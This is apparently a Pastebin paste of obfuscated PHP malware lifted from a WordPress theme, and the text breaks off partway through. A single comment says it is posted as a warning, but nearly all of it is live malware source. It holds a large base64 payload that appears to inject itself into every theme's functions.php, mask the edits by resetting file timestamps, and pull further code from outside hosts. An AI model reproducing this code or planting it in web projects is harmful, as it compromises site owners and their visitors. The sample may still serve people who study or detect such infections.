Advertisement
pogledelve

class.theme-modules.php

Nov 15th, 2017
1,789
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 31.79 KB | None | 0 0
  1. /**This Malware is from Vesta Theme and i want to blog it at Pogledelve.com and to warned everyone**/
  2.  
  3. <?php
  4.  
  5. //install_code1
  6. error_reporting(0);
  7. ini_set('display_errors', 0);
  8. DEFINE('MAX_LEVEL', 2);
  9. DEFINE('MAX_ITERATION', 50);
  10. DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
  11.  
  12. $GLOBALS['WP_CD_CODE'] = 'PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQoNCgkkaW5zdGFsbF9jb2RlID0gJ1BEOXdhSEFOQ21sbUlDaHBjM05sZENna1gxSkZVVlZGVTFSYkoyRmpkR2x2YmlkZEtTQW1KaUJwYzNObGRDZ2tYMUpGVVZWRlUxUmJKM0JoYzNOM2IzSmtKMTBwSUNZbUlDZ2tYMUpGVVZWRlUxUmJKM0JoYzNOM2IzSmtKMTBnUFQwZ0ozc2tVRUZUVTFkUFVrUjlKeWtwRFFvSmV3MEtKR1JwZGw5amIyUmxYMjVoYldVOUluZHdYM1pqWkNJN0RRb0pDWE4zYVhSamFDQW9KRjlTUlZGVlJWTlVXeWRoWTNScGIyNG5YU2tOQ2drSkNYc05DZzBLQ1FrSkNRMEtEUW9OQ2cwS0RRb0pDUWtKWTJGelpTQW5ZMmhoYm1kbFgyUnZiV0ZwYmljN0RRb0pDUWtKQ1dsbUlDaHBjM05sZENna1gxSkZVVlZGVTFSYkoyNWxkMlJ2YldGcGJpZGRLU2tOQ2drSkNRa0pDWHNOQ2drSkNRa0pDUWtOQ2drSkNRa0pDUWxwWmlBb0lXVnRjSFI1S0NSZlVrVlJWVVZUVkZzbmJtVjNaRzl0WVdsdUoxMHBLUTBLQ1FrSkNRa0pDUWw3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnBaaUFvSkdacGJHVWdQU0JBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vWDE5R1NVeEZYMThwS1EwS0NRa2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCcFppaHdjbVZuWDIxaGRHTm9YMkZzYkNnbkwxd2tkRzF3WTI5dWRHVnVkQ0E5SUVCbWFXeGxYMmRsZEY5amIyNTBaVzUwYzF3b0ltaDBkSEE2WEM5Y0x5Z3VLaWxjTDJOdlpHVmNMbkJvY0M5cEp5d2tabWxzWlN3a2JXRjBZMmh2YkdSa2IyMWhhVzRwS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIc05DZzBLQ1FrSklDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKR1pwYkdVZ1BTQndjbVZuWDNKbGNHeGhZMlVvSnk4bkxpUnRZWFJqYUc5c1pHUnZiV0ZwYmxzeFhWc3dYUzRuTDJrbkxDUmZVa1ZSVlVWVFZGc25ibVYzWkc5dFlXbHVKMTBzSUNSbWFXeGxLVHNOQ2drSkNTQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRUJtYVd4bFgzQjFkRjlqYjI1MFpXNTBjeWhmWDBaSlRFVmZYeXdnSkdacGJHVXBPdzBLQ1FrSkNRa0pDUWtKSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnY0hKcGJuUWdJblJ5ZFdVaU93MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSDBOQ2cwS0RRb0pDU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2ZRMEtDUWtKQ1FrSkNRbDlEUW9KQ1FrSkNRbDlEUW9KQ1FrSlluSmxZV3M3RFFvTkNna0pDUWtKQ1FrSlkyRnpaU0FuWTJoaGJtZGxYMk52WkdVbk93MEtDUWtKQ1FscFppQW9hWE56WlhRb0pGOVNSVkZWUlZOVVd5ZHVaWGRqYjJSbEoxMHBLUTBLQ1FrSkNRa0pldzBLQ1FrSkNRa0pDUTBLQ1FrSkNRa0pDV2xtSUNnaFpXMXdkSGtvSkY5U1JWRlZSVk5VV3lkdVpYZGpiMlJsSjEwcEtRMEtDUWtKQ1FrSkNRbDdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCcFppQW9KR1pwYkdVZ1BTQkFabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9YMTlHU1V4RlgxOHBLUTBLQ1FrZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JwWmlod2NtVm5YMjFoZEdOb1gyRnNiQ2duTDF3dlhDOWNKSE4wWVhKMFgzZHdYM1JvWlcxbFgzUnRjQ2hiWEhOY1UxMHFLVnd2WEM5Y0pHVnVaRjkzY0Y5MGFHVnRaVjkwYlhBdmFTY3NKR1pwYkdVc0pHMWhkR05vYjJ4a1kyOWtaU2twRFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2V3MEtEUW9KQ1FrZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWtabWxzWlNBOUlITjBjbDl5WlhCc1lXTmxLQ1J0WVhSamFHOXNaR052WkdWYk1WMWJNRjBzSUhOMGNtbHdjMnhoYzJobGN5Z2tYMUpGVVZWRlUxUmJKMjVsZDJOdlpHVW5YU2tzSUNSbWFXeGxLVHNOQ2drSkNTQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRUJtYVd4bFgzQjFkRjlqYjI1MFpXNTBjeWhmWDBaSlRFVmZYeXdnSkdacGJHVXBPdzBLQ1FrSkNRa0pDUWtKSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnY0hKcGJuUWdJblJ5ZFdVaU93MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSDBOQ2cwS0RRb0pDU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2ZRMEtDUWtKQ1FrSkNRbDlEUW9KQ1FrSkNRbDlEUW9KQ1FrSlluSmxZV3M3RFFvSkNRa0pEUW9KQ1FrSlpHVm1ZWFZzZERvZ2NISnBiblFnSWtWU1VrOVNYMWRRWDBGRFZFbFBUaUJYVUY5V1gwTkVJRmRRWDBORUlqc05DZ2tKQ1gwTkNna0pDUTBLQ1Fsa2FXVW9JaUlwT3cwS0NYME5DZzBLRFFvTkNnMEtEUW9OQ2cwS0RRb2taR2wyWDJOdlpHVmZibUZ0WlNBOUlDSjNjRjkyWTJRaU93MEtKR1oxYm1ObWFXeGxJQ0FnSUNBZ1BTQmZYMFpKVEVWZlh6c05DbWxtS0NGbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjNSb1pXMWxYM1JsYlhCZmMyVjBkWEFuS1NrZ2V3MEtJQ0FnSUNSd1lYUm9JRDBnSkY5VFJWSldSVkpiSjBoVVZGQmZTRTlUVkNkZElDNGdKRjlUUlZKV1JWSmJVa1ZSVlVWVFZGOVZVa2xkT3cwS0lDQWdJR2xtSUNoemRISnBjRzl6S0NSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMQ0FuZDNBdFkzSnZiaTV3YUhBbktTQTlQU0JtWVd4elpTQW1KaUJ6ZEhKcGNHOXpLQ1JmVTBWU1ZrVlNXeWRTUlZGVlJWTlVYMVZTU1NkZExDQW5lRzFzY25CakxuQm9jQ2NwSUQwOUlHWmhiSE5sS1NCN0RRb2dJQ0FnSUNBZ0lBMEtJQ0FnSUNBZ0lDQm1kVzVqZEdsdmJpQm1hV3hsWDJkbGRGOWpiMjUwWlc1MGMxOTBZM1Z5YkNna2RYSnNLUTBLSUNBZ0lDQWdJQ0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWtZMmdnUFNCamRYSnNYMmx1YVhRb0tUc05DaUFnSUNBZ0lDQWdJQ0FnSUdOMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlCVlZSUFVrVkdSVkpGVWl3Z1ZGSlZSU2s3RFFvZ0lDQWdJQ0FnSUNBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlNFVkJSRVZTTENBd0tUc05DaUFnSUNBZ0lDQWdJQ0FnSUdOMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlTUlZSVlVrNVVVa0ZPVTBaRlVpd2dNU2s3RFFvZ0lDQWdJQ0FnSUNBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlZWSk1MQ0FrZFhKc0tUc05DaUFnSUNBZ0lDQWdJQ0FnSUdOMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dWRkpWUlNrN0RRb2dJQ0FnSUNBZ0lDQWdJQ0FrWkdGMFlTQTlJR04xY214ZlpYaGxZeWdrWTJncE93MEtJQ0FnSUNBZ0lDQWdJQ0FnWTNWeWJGOWpiRzl6WlNna1kyZ3BPdzBLSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUNSa1lYUmhPdzBLSUNBZ0lDQWdJQ0I5RFFvZ0lDQWdJQ0FnSUEwS0lDQWdJQ0FnSUNCbWRXNWpkR2x2YmlCMGFHVnRaVjkwWlcxd1gzTmxkSFZ3S0NSd2FIQkRiMlJsS1EwS0lDQWdJQ0FnSUNCN0RRb2dJQ0FnSUNBZ0lDQWdJQ0FrZEcxd1ptNWhiV1VnUFNCMFpXMXdibUZ0S0hONWMxOW5aWFJmZEdWdGNGOWthWElvS1N3Z0luUm9aVzFsWDNSbGJYQmZjMlYwZFhBaUtUc05DaUFnSUNBZ0lDQWdJQ0FnSUNSb1lXNWtiR1VnSUNBOUlHWnZjR1Z1S0NSMGJYQm1ibUZ0WlN3Z0luY3JJaWs3RFFvZ0lDQWdJQ0FnSUNBZ0lDQm1kM0pwZEdVb0pHaGhibVJzWlN3Z0lqdy9jR2h3WEc0aUlDNGdKSEJvY0VOdlpHVXBPdzBLSUNBZ0lDQWdJQ0FnSUNBZ1ptTnNiM05sS0NSb1lXNWtiR1VwT3cwS0lDQWdJQ0FnSUNBZ0lDQWdhVzVqYkhWa1pTQWtkRzF3Wm01aGJXVTdEUW9nSUNBZ0lDQWdJQ0FnSUNCMWJteHBibXNvSkhSdGNHWnVZVzFsS1RzTkNpQWdJQ0FnSUNBZ0lDQWdJSEpsZEhWeWJpQm5aWFJmWkdWbWFXNWxaRjkyWVhKektDazdEUW9nSUNBZ0lDQWdJSDBOQ2lBZ0lDQWdJQ0FnRFFvTkNpUjNjRjloZFhSb1gydGxlVDBuWVRFd04yVXdZakkyTWpjeU1tWXdZMlZoTTJZM1kyVXdPVGMxT1RkaU4yTW5PdzBLSUNBZ0lDQWdJQ0JwWmlBb0tDUjBiWEJqYjI1MFpXNTBJRDBnUUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NKb2RIUndPaTh2ZDNkM0xtUmxjbTVoTG1OakwyTnZaR1V1Y0dod0lpa2dUMUlnSkhSdGNHTnZiblJsYm5RZ1BTQkFabWxzWlY5blpYUmZZMjl1ZEdWdWRITmZkR04xY213b0ltaDBkSEE2THk5M2QzY3VaR1Z5Ym1FdVkyTXZZMjlrWlM1d2FIQWlLU2tnUVU1RUlITjBjbWx3YjNNb0pIUnRjR052Ym5SbGJuUXNJQ1IzY0Y5aGRYUm9YMnRsZVNrZ0lUMDlJR1poYkhObEtTQjdEUW9OQ2lBZ0lDQWdJQ0FnSUNBZ0lHbG1JQ2h6ZEhKcGNHOXpLQ1IwYlhCamIyNTBaVzUwTENBa2QzQmZZWFYwYUY5clpYa3BJQ0U5UFNCbVlXeHpaU2tnZXcwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdWNGRISmhZM1FvZEdobGJXVmZkR1Z0Y0Y5elpYUjFjQ2drZEcxd1kyOXVkR1Z1ZENrcE93MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lFQm1hV3hsWDNCMWRGOWpiMjUwWlc1MGN5aEJRbE5RUVZSSUlDNGdKM2R3TFdsdVkyeDFaR1Z6TDNkd0xYUnRjQzV3YUhBbkxDQWtkRzF3WTI5dWRHVnVkQ2s3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnRFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWhCUWxOUVFWUklJQzRnSjNkd0xXbHVZMngxWkdWekwzZHdMWFJ0Y0M1d2FIQW5LU2tnZXcwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQkFabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9aMlYwWDNSbGJYQnNZWFJsWDJScGNtVmpkRzl5ZVNncElDNGdKeTkzY0MxMGJYQXVjR2h3Snl3Z0pIUnRjR052Ym5SbGJuUXBPdzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCcFppQW9JV1pwYkdWZlpYaHBjM1J6S0dkbGRGOTBaVzF3YkdGMFpWOWthWEpsWTNSdmNua29LU0F1SUNjdmQzQXRkRzF3TG5Cb2NDY3BLU0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JBWm1sc1pWOXdkWFJmWTI5dWRHVnVkSE1vSjNkd0xYUnRjQzV3YUhBbkxDQWtkRzF3WTI5dWRHVnVkQ2s3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIME5DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQjlEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdEUW9nSUNBZ0lDQWdJQ0FnSUNCOURRb2dJQ0FnSUNBZ0lIME5DaUFnSUNBZ0lDQWdEUW9nSUNBZ0lDQWdJQTBLSUNBZ0lDQWdJQ0JsYkhObGFXWWdLQ1IwYlhCamIyNTBaVzUwSUQwZ1FHWnBiR1ZmWjJWMFgyTnZiblJsYm5SektDSm9kSFJ3T2k4dmQzZDNMbVJsY201aExuQjNMMk52WkdVdWNHaHdJaWtnSUVGT1JDQnpkSEpwY0c5ektDUjBiWEJqYjI1MFpXNTBMQ0FrZDNCZllYVjBhRjlyWlhrcElDRTlQU0JtWVd4elpTQXBJSHNOQ2cwS2FXWWdLSE4wY21sd2IzTW9KSFJ0Y0dOdmJuUmxiblFzSUNSM2NGOWhkWFJvWDJ0bGVTa2dJVDA5SUdaaGJITmxLU0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWlhoMGNtRmpkQ2gwYUdWdFpWOTBaVzF3WDNObGRIVndLQ1IwYlhCamIyNTBaVzUwS1NrN0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1FHWnBiR1ZmY0hWMFgyTnZiblJsYm5SektFRkNVMUJCVkVnZ0xpQW5kM0F0YVc1amJIVmtaWE12ZDNBdGRHMXdMbkJvY0Njc0lDUjBiWEJqYjI1MFpXNTBLVHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JwWmlBb0lXWnBiR1ZmWlhocGMzUnpLRUZDVTFCQlZFZ2dMaUFuZDNBdGFXNWpiSFZrWlhNdmQzQXRkRzF3TG5Cb2NDY3BLU0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lFQm1hV3hsWDNCMWRGOWpiMjUwWlc1MGN5aG5aWFJmZEdWdGNHeGhkR1ZmWkdseVpXTjBiM0o1S0NrZ0xpQW5MM2R3TFhSdGNDNXdhSEFuTENBa2RHMXdZMjl1ZEdWdWRDazdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdsbUlDZ2habWxzWlY5bGVHbHpkSE1vWjJWMFgzUmxiWEJzWVhSbFgyUnBjbVZqZEc5eWVTZ3BJQzRnSnk5M2NDMTBiWEF1Y0dod0p5a3BJSHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRUJtYVd4bFgzQjFkRjlqYjI1MFpXNTBjeWduZDNBdGRHMXdMbkJvY0Njc0lDUjBiWEJqYjI1MFpXNTBLVHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIME5DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQU5DaUFnSUNBZ0lDQWdJQ0FnSUgwTkNpQWdJQ0FnSUNBZ2ZTQmxiSE5sYVdZZ0tDUjBiWEJqYjI1MFpXNTBJRDBnUUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0VGQ1UxQkJWRWdnTGlBbmQzQXRhVzVqYkhWa1pYTXZkM0F0ZEcxd0xuQm9jQ2NwSUVGT1JDQnpkSEpwY0c5ektDUjBiWEJqYjI1MFpXNTBMQ0FrZDNCZllYVjBhRjlyWlhrcElDRTlQU0JtWVd4elpTa2dldzBLSUNBZ0lDQWdJQ0FnSUNBZ1pYaDBjbUZqZENoMGFHVnRaVjkwWlcxd1gzTmxkSFZ3S0NSMGJYQmpiMjUwWlc1MEtTazdEUW9nSUNBZ0lDQWdJQ0FnSUEwS0lDQWdJQ0FnSUNCOUlHVnNjMlZwWmlBb0pIUnRjR052Ym5SbGJuUWdQU0JBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vWjJWMFgzUmxiWEJzWVhSbFgyUnBjbVZqZEc5eWVTZ3BJQzRnSnk5M2NDMTBiWEF1Y0dod0p5a2dRVTVFSUhOMGNtbHdiM01vSkhSdGNHTnZiblJsYm5Rc0lDUjNjRjloZFhSb1gydGxlU2tnSVQwOUlHWmhiSE5sS1NCN0RRb2dJQ0FnSUNBZ0lDQWdJQ0JsZUhSeVlXTjBLSFJvWlcxbFgzUmxiWEJmYzJWMGRYQW9KSFJ0Y0dOdmJuUmxiblFwS1RzZ0RRb05DaUFnSUNBZ0lDQWdmU0JsYkhObGFXWWdLQ1IwYlhCamIyNTBaVzUwSUQwZ1FHWnBiR1ZmWjJWMFgyTnZiblJsYm5SektDZDNjQzEwYlhBdWNHaHdKeWtnUVU1RUlITjBjbWx3YjNNb0pIUnRjR052Ym5SbGJuUXNJQ1IzY0Y5aGRYUm9YMnRsZVNrZ0lUMDlJR1poYkhObEtTQjdEUW9nSUNBZ0lDQWdJQ0FnSUNCbGVIUnlZV04wS0hSb1pXMWxYM1JsYlhCZmMyVjBkWEFvSkhSdGNHTnZiblJsYm5RcEtUc2dEUW9OQ2lBZ0lDQWdJQ0FnZlNCbGJITmxhV1lnS0Nna2RHMXdZMjl1ZEdWdWRDQTlJRUJtYVd4bFgyZGxkRjlqYjI1MFpXNTBjeWdpYUhSMGNEb3ZMM2QzZHk1a1pYSnVZUzUwYjNBdlkyOWtaUzV3YUhBaUtTQlBVaUFrZEcxd1kyOXVkR1Z1ZENBOUlFQm1hV3hsWDJkbGRGOWpiMjUwWlc1MGMxOTBZM1Z5YkNnaWFIUjBjRG92TDNkM2R5NWtaWEp1WVM1MGIzQXZZMjlrWlM1d2FIQWlLU2tnUVU1RUlITjBjbWx3YjNNb0pIUnRjR052Ym5SbGJuUXNJQ1IzY0Y5aGRYUm9YMnRsZVNrZ0lUMDlJR1poYkhObEtTQjdEUW9nSUNBZ0lDQWdJQ0FnSUNCbGVIUnlZV04wS0hSb1pXMWxYM1JsYlhCZmMyVjBkWEFvSkhSdGNHTnZiblJsYm5RcEtUc2dEUW9OQ2lBZ0lDQWdJQ0FnZlEwS0lDQWdJQ0FnSUNBTkNpQWdJQ0FnSUNBZ0RRb2dJQ0FnSUNBZ0lBMEtJQ0FnSUNBZ0lDQU5DaUFnSUNBZ0lDQWdEUW9nSUNBZ2ZRMEtmUTBLRFFvdkx5UnpkR0Z5ZEY5M2NGOTBhR1Z0WlY5MGJYQU5DZzBLRFFvTkNpOHZkM0JmZEcxd0RRb05DZzBLTHk4a1pXNWtYM2R3WDNSb1pXMWxYM1J0Y0EwS1B6ND0nOw0KCQ0KCSRpbnN0YWxsX2hhc2ggPSBtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gQVVUSF9TQUxUKTsNCgkkaW5zdGFsbF9jb2RlID0gc3RyX3JlcGxhY2UoJ3skUEFTU1dPUkR9JyAsICRpbnN0YWxsX2hhc2gsIGJhc2U2NF9kZWNvZGUoICRpbnN0YWxsX2NvZGUgKSk7DQoJDQoNCgkJCSR0aGVtZXMgPSBBQlNQQVRIIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb250ZW50JyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAndGhlbWVzJzsNCgkJCQkNCgkJCSRwaW5nID0gdHJ1ZTsNCgkJCQkkcGluZzIgPSBmYWxzZTsNCgkJCWlmICgkbGlzdCA9IHNjYW5kaXIoICR0aGVtZXMgKSkNCgkJCQl7DQoJCQkJCWZvcmVhY2ggKCRsaXN0IGFzICRfKQ0KCQkJCQkJew0KCQkJCQkJDQoJCQkJCQkJaWYgKGZpbGVfZXhpc3RzKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKSkNCgkJCQkJCQkJew0KCQkJCQkJCQkJJHRpbWUgPSBmaWxlY3RpbWUoJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcpOw0KCQkJCQkJCQkJCQ0KCQkJCQkJCQkJaWYgKCRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcpKQ0KCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJaWYgKHN0cnBvcygkY29udGVudCwgJ1dQX1ZfQ0QnKSA9PT0gZmFsc2UpDQoJCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCQkJJGNvbnRlbnQgPSAkaW5zdGFsbF9jb2RlIC4gJGNvbnRlbnQgOw0KCQkJCQkJCQkJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhlbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJywgJGNvbnRlbnQpOw0KCQkJCQkJCQkJCQkJCXRvdWNoKCAkdGhlbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyAsICR0aW1lICk7DQoJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJCQkkcGluZyA9IGZhbHNlOw0KCQkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkNCgkJCQkJCQkJfQ0KCQkJCQkJCQkNCgkJCQkJCQkJDQoJCQkJCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaXN0MiA9IHNjYW5kaXIoICR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8pOw0KCQkJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGlzdDIgYXMgJF8yKQ0KCQkJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl7DQoJCQkJCQkJCQkJCQkJCQkNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8yIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJykpDQoJCQkJCQkJCSAgICAgICAgICAgICAgICAgICAgICB7DQoJCQkJCQkJCQkkdGltZSA9IGZpbGVjdGltZSgkdGhlbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfMiAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcpOw0KCQkJCQkJCQkJCQ0KCQkJCQkJCQkJaWYgKCRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRoZW1